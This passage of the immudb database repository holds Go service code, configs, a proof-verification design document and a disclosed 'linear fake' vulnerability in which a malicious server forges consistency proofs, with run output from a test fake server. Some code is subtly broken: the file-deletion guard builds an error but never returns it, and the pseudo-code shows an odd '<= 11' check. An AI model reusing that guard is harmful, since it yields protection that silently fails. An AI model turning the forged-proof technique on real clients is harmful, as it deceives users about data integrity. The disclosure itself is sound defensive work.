nil } var whitelist = []string{"%programdata%\\Immu", "%programfile%\\Immu"} func (ss sservice) osRemove(folder string) error { if err := deletionGuard(folder); err != nil { return err } return ss.os.Remove(folder) } func (ss sservice) osRemoveAll(folder string) error { if err := deletionGuard(folder); err != nil { return err } return ss.os.RemoveAll(folder) } func deletionGuard(path string) (err error) { found := false for _, v := range whitelist { var vr string if vr, err = helper.ResolvePath(v, false); err != nil { return err } if strings.HasPrefix(path, vr) { found = true break } } if !found { errors.New("os system file or folder protected item deletion not allowed. Check immu* service configuration") } return nil } ================================================ FILE: cmd/sservice/sservice_windows_test.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "testing" "github.com/stretchr/testify/assert" daem "github.com/takama/daemon" ) func TestSserviceWin_NewDaemon(t *testing.T) { ss := NewSService(&Option{}) d, err := ss.NewDaemon("test", "", "") assert.NoError(t, err) dc, _ := daem.New("test", "", "") assert.IsType(t, d, dc) } ================================================ FILE: cmd/version/cmd.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package version import ( "fmt" "strconv" "strings" "time" "github.com/spf13/cobra" ) // App application name var App string // Version holds the version var Version string // Commit the most recent commit from which this version has been built var Commit string // BuiltBy built by email var BuiltBy string // BuiltAt date and time of the build var BuiltAt string // Static flags the binary as statically linked var Static string // FIPSEnabled flags if the binary is running in FIPS mode var FIPSEnabled string // VersionCmd returns a new version command func VersionCmd() *cobra.Command { return &cobra.Command{ Use: "version", Short: fmt.Sprintf("Show the %s version", App), Run: func(_ *cobra.Command, _ []string) { versionStr := VersionStr() if versionStr != "" { fmt.Println(versionStr) } }, } } // VersionStr formats and returns the version string func VersionStr() string { if App == "" || Version == "" { return "no version info available" } pieces := []string{ fmt.Sprintf("%s %s", App, Version), } const strPattern = "%-*s: %s" const longestLabelLength = 8 if Commit != "" { pieces = append( pieces, fmt.Sprintf(strPattern, longestLabelLength, "Commit", Commit)) } if BuiltBy != "" { pieces = append( pieces, fmt.Sprintf(strPattern, longestLabelLength, "Built by", BuiltBy)) } if BuiltAt != "" { i, err := strconv.ParseInt(BuiltAt, 10, 64) if err == nil { builtAt := time.Unix(i, 0).Format(time.RFC1123) pieces = append( pieces, fmt.Sprintf(strPattern, longestLabelLength, "Built at", builtAt)) } } if Static != "" { pieces = append( pieces, fmt.Sprintf("%-*s: %t", longestLabelLength, "Static", StaticBuild())) } if FIPSEnabled != "" { pieces = append( pieces, fmt.Sprintf("%-*s: %t", longestLabelLength, "FIPS enabled", FIPSBuild())) } return fmt.Sprint(strings.Join(pieces, "\n")) } // StaticBuild set the flag which marks the binary as statically linked func StaticBuild() bool { return Static == "static" } // FIPSBuild set the flag which marks the binary as statically linked func FIPSBuild() bool { return FIPSEnabled == "true" } ================================================ FILE: cmd/version/cmd_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package version import ( "fmt" "strconv" "strings" "testing" "time" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/stretchr/testify/require" ) func TestVersion(t *testing.T) { cmd := VersionCmd() // no version info collector := new(cmdtest.StdOutCollector) require.NoError(t, collector.Start()) require.NoError(t, cmd.Execute()) noVersionOutput, err := collector.Stop() require.NoError(t, err) require.Equal(t, "no version info available\n", noVersionOutput) // full version info App = "Some App" Version = "v1.0.0" Commit = "2F20B9ADF24C82A6AFEE0CEBF53B46A512FE9526" BuiltBy = "some.user@somedomain.com" builtAt, _ := time.Parse(time.RFC3339, "2020-07-13T23:28:09Z") BuiltAt = fmt.Sprintf("%d", builtAt.Unix()) Static = "static" builtAtUnix, _ := strconv.ParseInt(BuiltAt, 10, 64) builtAtStr := time.Unix(builtAtUnix, 0).Format(time.RFC1123) expectedVersionOutput := strings.Join( []string{ "Some App v1.0.0", "Commit : 2F20B9ADF24C82A6AFEE0CEBF53B46A512FE9526", "Built by: some.user@somedomain.com", "Built at: " + builtAtStr, "Static : true\n", }, "\n") require.NoError(t, collector.Start()) require.NoError(t, cmd.Execute()) versionOutput, err := collector.Stop() require.NoError(t, err) require.Equal(t, expectedVersionOutput, versionOutput) } ================================================ FILE: codecov.yml ================================================ ignore: - "*windows.go" - "*freebsd.go" - "*windows.dist.go" - "*freebsd.dist.go" - "*windows*" - "*freebsd*" - "cmd/immuadmin/command/service/servicetest" - "pkg/client/clienttest" - "cmd/immuadmin/command/service/oss_unix.go" - "cmd/immuclient/immuctest" ================================================ FILE: configs/immuadmin.toml ================================================ immudb-address = "127.0.0.1" immudb-port = 3322 tokenfile = "token_admin" mtls = false servername = "localhost" pkey = "" certificate = "" clientcas = "" ================================================ FILE: configs/immuclient.toml ================================================ immudb-address = "127.0.0.1" immudb-port = 3322 auth = true tokenfile = "token-0.7.0" mtls = false servername = "localhost" pkey = "" certificate = "" clientcas = "" audit-signature = "ignore" server-signing-pub-key = "" #used to verify signatures ================================================ FILE: configs/immudb.toml ================================================ dir = "./data" network = "tcp" address = "0.0.0.0" port = 3322 dbname = "immudb" pidfile = "" logfile = "" mtls = false detached = false auth = true no-histograms = false consistency-check = true pkey = "" certificate = "" clientcas = "" devmode = true admin-password = "immudb" # this password is only used once to initialize immudb and can be ignored maintenance = false signingKey = "" token-expiry-time = 1440 # client authentication token expiration time. Minutes pgsql-server = true # enable or disable pgsql server pgsql-server-port = 5432 ================================================ FILE: configs/immutest.toml ================================================ immudb-address = "127.0.0.1" immudb-port = 3322 tokenfile = "token_admin" ================================================ FILE: docs/security/PROOFS.md ================================================ # Technical description of immudb proofs This document describes immudb data structures and algorithms for verification of data written to immudb. ## Data structures used in immudb ### Abbreviations - **Alh** - Accumulated Linear Hash - **Bl** - Binary Linking - **EH** - Entries Hash ### Main Merkle Tree Each database has one main [Merkle Tree][mtree] where its inputs are built from transaction hashes (`Alh`). This tree is persisted in the storage layer. It is also appendable - each new transaction adds one extra leaf node with transaction hash (`Alh`) and rebuilds the path to the root. ### Internal Merkle Tree Each transaction contains its internal [Merkle Tree][mtree] built from Key-Value-Metadata entries that are part of that single transaction. The root hash of that Merkle Tree (`EH`) along with transaction metadata and additional linear proof information is used to build the transaction hash that is then input for the main [Merkle Tree][mtree]. This tree is not stored on disk and is recalculated on-demand from data that is building up the transaction. [mtree]: https://en.wikipedia.org/wiki/Merkle_tree. ### Linear proof The additional linear proof for the transaction is a mechanism implemented in immudb that is meant for handling peak transaction writes where the writes are much faster than the main [Merkle Tree][mtree] recalculation. It also forms a linear chain for all transactions since the beginning of the database. ```mermaid flowchart LR subgraph linear chain subgraph TX0 [TX n-1] TD0[TX data] --> Alh0[Alh] end Alh0 ==> Alh1 subgraph TX1 [TX n] TD1[TX data] --> Alh1[Alh] end Alh1 ==> Alh2 subgraph TX2 [TX n+1] TD2[TX data] --> Alh2[Alh] end Alh2 ==> Alh3 subgraph TX3 [TX n+2] TD3[TX data] --> Alh3[Alh] end end ``` Due to the linear chain, the Hash for each transaction is called **Accumulated Linear Hash**. Subsequent `Alh` values from the transaction are inputs into the main Merkle Tree. In a standard immudb installation, the length of the linear proof is limited to only 1 entry. ## State value stored on clients In order to request consistency proofs, the client keeps information about the database at a specific transaction. This information is the `Alh` value of the committed transaction. Since the `Alh` is built from a chain of subsequent `Alh` values from previous transactions, it is accumulating the whole history of the database. In addition to the linear proof, each transaction also embeds the main Merkle Tree hash (`BlRoot`) and its size (`BlTxID`) at the time when the transaction was committed. The main Merkle Tree is then used to optimize generation of proofs. The part of the proof that deals with the history of the database up to and including `BlTxID` is done using the Merkle Tree (logarithmic complexity), the rest is done using the remaining part of the linear proof that fills in the gap until the current transaction. ```mermaid flowchart TB subgraph linear chain direction LR Alh0 --> Alh1 Alh1 --> Alh2 Alh2 --> Alh3 Alh3 --> Alh4 Alh4 --> Alh5 Alh5 --> Alh6 Alh6 --> Alh7 end subgraph Main Merkle Tree Alh0 -.-> node1 Alh1 -.-> node1 Alh2 -.-> node2 Alh3 -.-> node2 Alh4 -.-> node3 node1 --> node4 node2 --> node4 node4 --> BlRoot node3 --> BlRoot end BlRoot -.-> Alh7 ``` In the example above, the proof for inclusion of `Alh5`, `Alh6` or `Alh7` can be conducted using only the linear proof only. For the inclusion of `Alh1`, first the inclusion in the merkle tree is performed - that is the proof of inclusion in the history up to the `BlTxID` transaction (equivalent of linear proof until the `Alh4` node) followed by the linear proof until the `Alh7` node. The length of the linear proof up to the point where the Merkle Tree can be used should be kept at a sane level to avoid long linear proofs. Current version of immudb does not allow a linear proof length to be greater than 1 by ensuring the main Merkle Tree is updated as a part of the transaction commit phase. ## Advancing state of proofs for a single transaction At the first step, each Key-Value-Metadata entry within a single transaction is hashed. From the list of hashes, an internal Merkle tree is built. The root of this inner tree is called `EH`. `EH` itself is a cumulative hash for all entries being part of a single transaction without any additional information such as transaction ID or timestamp. That also means that there can be multiple transaction having the same `EH` value within a single immudb instance. Additional `inner hash` is built by hashing the following fields of the transaction: Transaction Timestamp, Header Version, Transaction metadata, number of entries, `EH` and the main merkle tree state at the commit time: `BlTxID` and `BlRoot`. This `inner hash` contains more information than a single `EH` value, however it is still possible (but with pretty small probability in a common setup) that there will be two transactions sharing the same `inner hash` within the same immudb database. The final hash built for a single transaction is `Alh`. That hash is built by hashing the following: Transaction ID, `Alh` of a previous transaction and the `inner hash`. ```mermaid flowchart TB subgraph TX [Transaction] direction TB subgraph TXM [TX merkle tree] KVM[Key-Value-Metadata] -- EntrySpecDigest function --> ESD ESD0[EntrySpec digest] --> EH ESD[EntrySpec digest] -- Build TX merkle tree --> EH ESD2[EntrySpec digest] --> EH EH[EH] end TS[Timestamp] --> IH[Inner hash] VER[Header Version] --> IH MD[TX Metadata] --> IH NE[Number of entries] --> IH BlRoot --> IH BlTxID --> IH EH --> IH PrevAlh --> Alh TxID --> Alh IH --> Alh end ``` The `Alh` hash is the input value (leaf) for the main Merkle Tree for a single database. Whenever a new transaction is committed, its `Alh` value is then added to the main Merkle Tree. Since the `Alh` of given transaction is built from hash of previous transaction, consecutive `Alh` hashes form a chain where given `Alh` is signing the whole immudb state up till given transaction. In addition to that, the inner hash is also built from the current main merkle tree state (`BlTxID` - number of transactions already hashed in the main Merkle Tree, `BlRoot` - root hash of the main Merkle Tree at the `BlTxID` transaction). From the `Alh` then we can perform a linear proof until any point back in the history (which has linear complexity), but once the `BlTxID` entry is reached, a more efficient proof can be generated using the main Merkle Tree (which has logarithmic complexity). ## Verification of a single entry The verification of a single entry is performed in two steps. During the first step, the verification is performed on the transaction level to ensure that the entry is a part of the transaction. Once the transaction is verified, additional proof is conducted in the main merkle tree and linear proof level (thus its called Dual Proof) that ensures that the transaction itself is valid. ### TX internal Merkle Tree verification #### Step 1. Calculating entry digest First the digest of Key-Value-Metadata entry is calculated. The calculation method depends on the transaction context (TX Header Version) - which was necessary change in order to handle entry metadata. Note: If the returned value is a reference, we perform the proof for the reference entry, not the value itself. **Inputs:** Key, Value, Metadata, Tx Header Version **Output:** KVM Digest **Failure when:** The KVM has incorrect / insane values (e.g. metadata can not be interpreted correctly, key or value length is beyond limits) **Code references:** - - - #### Step 2. TX Inclusion proof The Digest calculated in the previous step is then used to validate the inclusion proof within the TX Merkle Tree. This proof consist of hashes within the TX Merkle Tree needed to build the root hash of the tree (`EH`). The calculated `EH` value is then compared with the value retrieved form the `DualProof` part given from the server. **Inputs:** KVM Digest, Position within transaction (`proof.Leaf`), Transaction size (`proof.Width`), Inclusion Proof (`proof.Terms`) **Output:** the root of the Transaction Merkle Tree (`EH`) **Failure when:** The inclusion proof is invalid (not enough terms, zero tree width, leaf number beyond limits), `EH` value does not match the `EH` value from `DualProof` **Code references:** - - ### DualProof - proof of inclusion of the transaction in database state The dual proof serves two purposes - 1) it ensures that the validated Accumulative Linear Hash (`Alh`) is correct and is a part of the database state (inclusion proof in the main merkle tree along with the linear proof) and 2) that the history of the database transactions is consistent with some older state that the client has seen in previous operations (merkle consistency proof and linear proofs). Two transactions - the previously stored one and the one at which the value was retrieved - are ordered. The earlier one is the SourceTX, the latter one is the TargetTX. The dual proof is meant to ensure that SourceTx is consistent part of the history of TargetTX. **Code references:** - #### Step 3. Validate Alh values for source and target transactions For both the SourceTX and the TargetTX transactions, server sends transaction headers - those include information that can be used to calculate the `Alh` values. For both states (sourceAlh and targetAlh) this step proves that all the information building up given transaction is correct. This is especially important in case of the link to `BlRoot` and `BlTxId` used in that transaction to make sure that the part of the proof done on that tree properly links to the linear proof ending up with `Alh`. **Inputs:** SourceTxHeader, SourceAlh, TargetTxHeader, TargetAlh **Outputs:** none **Failure when:** Calculated `SourceAlh` and `TargetAlh` do not match expected values. #### Step 4. Verify consistency of the SourceTXAlh in target Merkle Tree If the SourceTx can be checked within the target Merkle Tree (so that the target merkle tree was built up until at least the SourceTx transaction), the SourceAlh is directly checked if it is a part of the Target Merkle tree. If the SourceTx was not yet included in the target Merkle Tree, the SourceAlh is validated against the linear proof from the TargetTx in steps that follow. **Inputs:** SourceTxID, SourceAlh, dualproof.InclusionProof, TargetTxBlTxID, TargetTxBlRoot **Outputs:** none **Failure when:** Can not prove inclusion of SourceAlh in the Target Merkle Tree **Code references:** - #### Step 5. Verify consistency between main merkle trees at SourceTX and TargetTX Since TargetTX is after the SourceTX, this means that the main Merkle tree observed in the TargetTX will be at least that one in the SourceTX. It can only contain new entries appended. That property is validated with the consistency check. **Inputs:** SourceTxBlTxID, SourceTxBlRoot, TargetTxBlTxID, TargetTxBlRoot, dualproof.ConsistencyProof **Outputs:** none **Failure when:** Can not prove consistency of source Merkle Tree and target Merkle Tree **Code references:** - #### Step 6. Verify consistency of the last element of the target Merkle Tree The `BlTxAlh` value is the `Alh` value of the transaction indexed at the `BlTxID` transaction. This value must be the last leaf of that Merkle Tree. It is important to check this property since we must be sure that there's continuity between the Merkle tree and the linear proof. To do this, an inclusion proof is calculated for the last element of the merkle tree. **Inputs:** TargetTxBlTxID, TargetTxBlTxAlh, TargetTxBlRoot, dualproof.LastInclusionProof **Outputs:** none **Failure when:** The last element of the Target Merkle Tree can not be proven **Code references:** - #### Step 7. Verify linear proof for the TargetAlh If already included in the Target Merkle Tree, the `SourceAlh` is proven to be included in the target Merkle Tree in step 4. In that case, it is necessary to check the linear proof that extends beyond the target Merkle Tree. This linear proof starts at target `BlTxID` and ends at `TargetTxID`. ```mermaid flowchart LR subgraph SourceTx included in Target Merkle Tree subgraph MT1 [Merkle Tree] direction TB Root1[Root] Root1 -.-> Alh1[Alh] Root1 ==> Alh2[SourceAlh] Root1 -.-> Alh3[Alh] Root1 -.-> Alh4[Alh] Root1 ==> Alh5[TargetBlAlh] end subgraph LP1 [Linear Proof] direction LR Alh5 ==> Alh6[Alh] ==> Alh7[Alh] ==> Alh8[TargetAlh] end end ``` If the `SourceAlh` was not yet included in the Target Merkle Tree, the proof is done entirely on the linear part - starting from the `SourceAlh` reaching the `TargetAlh`. ```mermaid flowchart LR subgraph SourceTx included in Target Merkle Tree subgraph MT1 [Merkle Tree] direction TB Root1[Root] Root1 -.-> Alh1[Alh] Root1 -.-> Alh2[Alh] Root1 -.-> Alh3[Alh] Root1 -.-> Alh4[Alh] Root1 -.-> Alh5[TargetBlAlh] end subgraph LP1 [Linear Proof] direction LR Alh5 -.-> Alh6[SourceAlh] ==> Alh7[Alh] ==> Alh8[TargetAlh] end end ``` **Failure when:** The linear proof part to get to the `TargetAlh` can not be proven. **Code references:** - #### Step 8. Verify inclusion of the consumed part of the linear proof The consistency between two historical states must be proven both as a consistency between Merkle Trees of those states but also as a consistency between linear parts and Merkle Trees. The Merkle Tree of the target transaction, when larger than the Merkle Tree of the source transaction will contain entries that were previously part of the linear part in the source transaction. For that reason, it is necessary to ensure that all elements on this consumed linear part are correctly added into the target Merkle Tree. The proof consists of a series of inclusion proofs for elements in the consumed part of the linear part, along with a linear proof for calculating those elements. The range of elements to check is different depending on whether the `SourceTxID` is consumed by the target Merkle Tree. If it is part of that target Merkle Tree, then the consumed part is the whole linear chain in the old state (starting with `BlTxID` of the old state and ending at the `SourceTxID`). If the `SourceTxID` is not yet a part of the target Merkle Tree then the linear part to be checked is the one that spans between source `BlTxID` and target `BlTxID`. It is important to note that the last element of the consumed linear proof part is already validated through either inclusion of `SourceTxID` in target Merkle Tree (step 4) or by the inclusion of last element of target Merkle Tree (step 6). **Inputs:** SourceTxID, SourceTxBlTxID, SourceAlh, TargetTxBlRoot, TargetTxBlTxID, TargetTxBlAlh, dualproof.LinearAdvanceProof **Outputs:** none **Failure when:** Can not prove inclusion of consumed linear proof in the target Merkle Tree. **Code references:** - #### Step 9. Verify signature of the TargetTX Once all the proofs are performed, the client validates the signature of the new state. The signature os made over the following data sets serialized into a single byte array: - database name length (32-bit BigEndian-encoded length of utf-8 encoded db name in bytes) - database name (utf-encoded database without aty trailing zeros) - transaction id (64-bit unsigned BigEndian-encoded integer) - transaction alh (32-bytes) This step is optional and only done if the client was set up with the corresponding server signing public key. **Inputs:** dbName, TargetTxID, TargetTxAlh, Signature **Outpus:** none **Failure when:** The signature of the new state is invalid **Code references:** - ================================================ FILE: docs/security/vulnerabilities/linear-fake/Dockerfile ================================================ FROM golang:1.19 COPY server /server WORKDIR /server RUN go build -o fake-immudb . ENTRYPOINT ["/server/fake-immudb"] ================================================ FILE: docs/security/vulnerabilities/linear-fake/README.md ================================================ # Linear fake vulnerability ## Issue description immudb uses Merkle Tree enhanced with additional linear part to perform consistency proofs between two transactions. The linear part is built from the last leaf node of the Merkle Tree compensating for transactions that were not yet *consumed* by the Merkle Tree calculation. The Merkle Tree part is then used to perform proofs for things that are in transaction range covered by the Merkle Tree where the linear part is used to check those that are not yet in the Merkle Tree. When doing consistency checks between two immudb transactions, the linear proof part was not fully checked. In fact only the first entry (last Merkle Tree leaf) and the last entry (current DB state value) of the linear part of the older transaction that were *consumed* by the Merkle Tree of the newer transaction were checked against the new Merkle Tree without ensuring that elements in the middle of that chain are correctly added as leafs in the new Merkle Tree. This lack of check means that the database can present different set of hashes for transactions on the linear proof part to what would later be used once those become part of the Merkle Tree. This property can be exploited by the database to expose two different transaction contents depending on the previously known state that the user requested consistency proof for. In practice this could lead to the following scenario: * a client requests a verified write operation * the server responds with a proof for the transaction * client stores the state value retrieved from the server and expects it to be a confirmation of that write and all the history of the database before that transaction * a series of validated read / write operations is performed by the client, each accompanied by a successfully validated consistency proof and update of the client state * the client requests verified get operation on the transaction it has written before (and that was verified with a proof from the server) * the server replies with a completely different transaction that can be properly validated according to the currently stored db state on the client side ## Mitigation ### Short term The issue can only be exploited when the length of the linear proof outside of the Merkle Tree is longer than 1 node. In order to protect against such an attack, the client library must additionally check that all the nodes inside the linear proof from the trusted state are properly consumed by the Merkle Tree of the updated state. The updated immudb server adds additional `LinearAdvance` proof to the main `DualProof` that contains inclusion proofs for all the entries in the consumed part of the linear proof. Note that this additional `LinearAdvance` proof is not needed if the length of the consumed linear proof part is no longer than 1 node which will be true for all transactions committed with a normal immudb server in version 1.3.2 and above. #### Validation algorithm of the additional LinearAdvance proof To validate the proof, all entries on the consumed linear part are checked against the target Merkle Tree. Those nodes are computed by performing a walk on the linear proof that must lead to the last node that we check against. ```plain # 1. Calculate the range of transactions to check startTx := oldState.blTxID endTx := min(oldState.txID, newState.BlTxID) # 2. Check if the additional proof has to be performed if endTxID <= startTxID+1 { // Linear Advance Proof is not needed, the consumed linear proof part // is short enough to be covered by other checks. return verificationSuccess } # 3. Check the proof data, note that the presence of the proof itself is only # done at this point. The server may return no proof if it is not needed # thus accessing proof's internals may result in nil pointer access if done # before check in 2. if proof == nil || len(proof.LinearProofTerms) != int(endTxID-startTxID) || len(proof.InclusionProofs) != int(endTxID-startTxID)-1 { // Proof must contain specific number of entries return verificationFailure } # 4. Loop over all consumed linear proof nodes calculatedAlh := proof.LinearProofTerms.Next() // alh at startTx+1 for txID := startTxID + 1; txID < endTxID; txID++ { # 5. inclusion proof of the node if ahtree.VerifyInclusion( proof.InclusionProofs.Next, txID, target.BlSize, leafFor(calculatedAlh), treeRoot, ) == VerificationFailure { return VerificationFailure } # 6. Calculate the Alh for the next transaction, this is the same method as the one used # for the LinearProof validation calculatedAlh = sha256( toBytes(txID+1) | calculatedAlh | proof.LinearProofTerms.Next() ) } # 7. Check the final calculated hash - that one is also checked for inclusion but in different part of the proof if oldState.txID < newState.BlTxID { if calculatedAlh != oldState.Alh { return VerificationFailure } } else { if calculatedAlh != newState.BlTxAlh { return VerificationFailure } } # 8. All steps of the proof succeeded return VerificationSuccess #### Compatibility with older immudb servers To maintain compatibility with older servers that do not compute the `LinearAdvance` part of the `DualProof`, the client SDK performs a series of additional calls to the immudb server in order to fill in the missing peaces of the information. This does impose additional overhead in the number of server calls thus it is advised to update the immudb server to avoid such penalty. The algorithm for rebuilding of such `LinearAdvance` proof is as follows: ```plain # 1. Calculate the range of transactions consumed by the new Merkle Tree startTx := oldState.blTxID endTx := min(oldState.txID, newState.BlTxID) # 2. LinearAdvance proof is only needed if the length of the consumed linear chain is greater than 1. # The node at `startTx` is validated using `LastInclusion` proof and the `endTx` is validated either # by using the `InclusionProof` (if it is oldState.txID) or by consistency proof between old and new # Merkle tree (if it is newState.BlTxID). if endTx - startTx <= 11 { return } # 3. Fill in inclusion proofs for nodes in the consumed linear path inclusionProofs = [] for txID := startTx + 1; txID < endTx; txID++ { partialProof = client.VerifiableTxById( Tx: targetTxID, ProveSinceTx: txID, // Add entries spec to exclude any entries to avoid transferring large responses EntriesSpec: { KvEntriesSpec: { Action: EXCLUDE } }, }) inclusionProofs.append(partialProof.DualProof.InclusionProof) } dualProof.LinearAdvanceProof.InclusionProofs = inclusionProofs # 4. Fill in the linear proof for all nodes on the checked path to ensure those # lead to the final node at the endTx partialProof := client.VerifiableTxById(ctx, &VerifiableTxRequest{ Tx: endTxID, ProveSinceTx: startTxID + 1, // Add entries spec to exclude any entries to avoid transferring large responses EntriesSpec: { KvEntriesSpec: { Action: EXCLUDE } }, }) dualProof.LinearAdvanceProof.LinearProofTerms = partialProof.DualProof.LinearProof.Terms ``` ### Long term Since the calculation of the Merkle Tree is always done in a synchronous manner by default (immudb waits for full recalculation before committing a transaction) we can completely remove the need of the linear proof part. That additional technique was in fact added to compensate potential problems with Merkle Tree recalculation speed, however such compensation was never needed in practice because Merkle Tree recalculation speed is much faster than other operations necessary to commit a transaction. The long-term successor of the fix presented above is to present an updated proof to the client that only consists of the proof within the Merkle Tree without the Linear part. Calculation of the linear part is still needed to keep compatibility with the older clients. ## PoC In the `server` folder there's an implementation of a fake server that will provide falsified proofs for certain order of operations. In order to check if the client is vulnerable, it must perform the following operations: * start with no state * perform verified read of TX 2 (client stores state for TX 2) * perform verified read of TX 3 (client performs consistency proof between TX 2 and TX 3) * perform verified read of TX 5 (client performs consistency proof between TX 3 and TX 5) * perform verified read of TX 2 again (client gets different data than what was given with the first verified read, but the provided proof against state form TX 5 seems correct) A client with short-term mitigation implemented will fail reading the TX 3 - that transaction uses linear proof with 2 nodes outside of the Merkle Tree. To run the server using docker container run the following (assuming that we run in the directory where this readme file is located): ```sh docker-compose up -d ``` or ``` sh docker build -t immufake . && docker run -p 3322:3322 -d immufake ``` An immudb client demonstrating that issue can be found in `go` directory: ```sh $ cd go $ go run main.go 2022/09/01 15:20:34 Reading Tx 2 2022/09/01 15:20:34 Keys from verified read: 2022/09/01 15:20:34 valid-key-0 2022/09/01 15:20:34 Client verified state: 2022/09/01 15:20:34 TxID: 2 2022/09/01 15:20:34 Hash: be6ed4baa7e7b27bd419fea6d5bf52bf76aa9a64f7c6dcd6eb4e6252fc675195 2022/09/01 15:20:34 Reading Tx 3 2022/09/01 15:20:34 Keys from verified read: 2022/09/01 15:20:34 valid-key-1 2022/09/01 15:20:34 Client verified state: 2022/09/01 15:20:34 TxID: 3 2022/09/01 15:20:34 Hash: 6696b4323aaedb89b076fb63ed3bdcf7aca4ff523875c6cecf9ff5bf46eebfbf 2022/09/01 15:20:34 Reading Tx 5 2022/09/01 15:20:34 Keys from verified read: 2022/09/01 15:20:34 key-after-1 2022/09/01 15:20:34 Client verified state: 2022/09/01 15:20:34 TxID: 5 2022/09/01 15:20:34 Hash: f590b73eccf4c19856baf48fdf4fc44c92949655561a059a392d7de1e1057617 2022/09/01 15:20:34 Reading Tx 2 2022/09/01 15:20:34 Keys from verified read: 2022/09/01 15:20:34 fake-key 2022/09/01 15:20:34 Client verified state: 2022/09/01 15:20:34 TxID: 5 2022/09/01 15:20:34 Hash: f590b73eccf4c19856baf48fdf4fc44c92949655561a059a392d7de1e1057617 2022/09/01 15:20:34 FAILURE: Client is vulnerable, was able to read two different datasets for same transaction: 'valid-key-0' and 'fake-key' exit status 1 ``` ================================================ FILE: docs/security/vulnerabilities/linear-fake/docker-compose.yml ================================================ version: '3' services: fakeimmudb: build: context: . ports: - 3322:3322 ================================================ FILE: docs/security/vulnerabilities/linear-fake/go/go.mod ================================================ module linear-fake go 1.24.0 require github.com/codenotary/immudb v1.4.1 require ( github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/fsnotify/fsnotify v1.5.4 // indirect github.com/golang/protobuf v1.5.2 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/inconshreveable/mousetrap v1.0.0 // indirect github.com/magiconair/properties v1.8.6 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/o1egl/paseto v1.0.0 // indirect github.com/pelletier/go-toml v1.9.5 // indirect github.com/pelletier/go-toml/v2 v2.0.1 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/prometheus/client_golang v1.12.2 // indirect github.com/prometheus/client_model v0.2.0 // indirect github.com/prometheus/common v0.32.1 // indirect github.com/prometheus/procfs v0.7.3 // indirect github.com/rogpeppe/go-internal v1.8.0 // indirect github.com/rs/xid v1.3.0 // indirect github.com/spf13/afero v1.8.2 // indirect github.com/spf13/cast v1.5.0 // indirect github.com/spf13/cobra v1.2.1 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.12.0 // indirect github.com/subosito/gotenv v1.3.0 // indirect golang.org/x/crypto v0.48.0 // indirect golang.org/x/net v0.50.0 // indirect golang.org/x/sys v0.41.0 // indirect golang.org/x/term v0.40.0 // indirect golang.org/x/text v0.34.0 // indirect google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect google.golang.org/grpc v1.58.3 // indirect google.golang.org/protobuf v1.36.6 // indirect gopkg.in/ini.v1 v1.66.6 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ================================================ FILE: docs/security/vulnerabilities/linear-fake/go/go.sum ================================================ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= cloud.google.com/go v0.57.0/go.mod 